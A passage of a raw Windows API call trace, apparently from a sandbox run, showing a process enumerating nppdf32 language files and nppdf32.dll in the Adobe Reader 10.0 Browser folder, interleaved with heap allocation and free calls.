(HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.201] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0081.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.201] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.201] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201498 [0081.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12606f8 [0081.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.202] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0081.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.202] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.202] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.203] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.203] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12014b8 [0081.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1260800 [0081.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.204] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0081.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.204] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.204] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12014d8 [0081.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1260908 [0081.205] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.205] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0081.205] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.206] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12014f8 [0081.206] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1260a10 [0081.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.207] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0081.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.207] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.207] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1201518 [0081.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1260b18 [0081.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.208] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0081.208] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0081.208] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0081.208] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.TUR", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.UKR", cAlternateFileName="")) returned 0 [0081.209] GetLastError () returned 0x12 [0081.209] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Browser\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0081.209] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf66ca0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d95e8c0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CAT", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHS", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CHT", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99d45400, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x99d45400, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.CZE", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DAN", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.DEU", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x21190, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.dll", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ESP", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d95e8c0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.EUQ", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.FRA", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HRV", cAlternateFileName="")) returned 1 [0081.209] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d938760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.HUN", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.ITA", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1800, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.JPN", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.KOR", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NLD", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.NOR", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.POL", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a32700, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x98a32700, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.PTB", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUM", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.RUS", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SKY", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SLV", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d87a080, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SUO", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d8a01e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x1e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="nppdf32.SVE", cAlternateFileName="")) returned 1 [0081.210] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7d912600, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, 